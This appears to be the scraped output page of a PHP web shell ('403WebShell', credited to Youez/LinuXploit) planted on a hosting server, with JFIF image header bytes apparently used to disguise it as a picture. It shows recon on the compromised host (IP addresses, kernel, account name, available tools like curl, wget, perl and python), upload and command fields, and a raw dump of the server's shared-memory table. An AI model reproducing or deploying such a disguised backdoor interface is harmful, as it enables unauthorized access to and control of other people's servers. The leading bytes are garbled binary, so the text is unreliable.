????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.30.238  /  Your IP : 216.73.216.83
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0    2949121  1400                118576 1766233 3964767      2   484   479     0     0 1760626579          0 1760626579                118784                     0
      5555          3   644                  1024  3683 1580618      0     0     0     0     0 1760601740 1760601741 1749147219                  4096                     0
         0    2588690  1600                   576 3962532 702918      6   475   468   475   468 1760647018 1760647018 1760077997                  4096                     0
         0    2588691  1600               1825056 3962532 702918      6   475   468   475   468 1760647018 1760647018 1760077997               1826816                     0
   5432001    2588692   600                    56 3962673 703329      6    26    26    26    26 1760647027 1760647027 1760077998                     0                  4096
         0    2588693  1600                 21744 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078000                 16384                  8192
         0    2588695  1600                 43456 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078002                 32768                 12288
         0    2588696  1600                 65160 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078004                 49152                 16384
         0    2588697  1600                 86856 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078006                 69632                 20480
         0    2588698  1600                108560 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078008                 90112                 20480
         0    2588699  1600                130312 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078010                106496                 24576
         0    2588700  1600                152008 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078012                122880                 32768
         0    2588701  1600                173712 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078014                143360                 32768
         0    2588702  1600                195408 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078016                155648                 40960
         0    2588703  1600                217112 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078019                176128                 45056
         0    2588704  1600                238816 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078021                196608                 45056
         0    2588705  1600                260544 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078023                208896                 53248
         0    2588706  1600                282240 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078025                229376                 53248
         0    2588707  1600                303944 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078027                249856                 57344
         0    2588708  1600                325632 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078029                266240                 61440
         0    2588709  1600                347328 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078031                278528                 69632
         0    2588710  1600                369016 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078033                303104                 69632
         0    2588711  1600                390704 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078035                323584                 69632
         0    2588712  1600                412400 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078037                327680                 86016
         0    2588713  1600                434096 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078039                344064                 90112
         0    2588714  1600                455784 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078041                376832                 81920
         0    2588715  1600                477472 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078043                385024                 94208
         0    2588716  1600                499168 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078045                413696                 86016
         0    2588717  1600                520856 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078047                417792                106496
         0    2588718  1600                542544 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078049                434176                110592
         0    2588719  1600                564240 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078051                446464                118784
         0    2588720  1600                585936 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078053                479232                110592
         0    2588721  1600                607632 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078055                475136                135168
         0    2588722  1600                629336 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078057                516096                114688
         0    2588723  1600                651040 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078059                516096                135168
         0    2588724  1600                672744 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078061                561152                114688
         0    2588725  1600                694432 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078064                557056                139264
         0    2588726  1600                716128 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078066                557056                159744
         0    2588727  1600                737816 3962537 702918      1   475   468   475   468 1760647018 1760647018 1760078070                589824                151552
         0    2588728   600                759512 3962537 702918      2   475   468   475   468 1760647018 1760647018 1760078072                761856                     0

Youez - 2016 - github.com/yon3zu
LinuXploit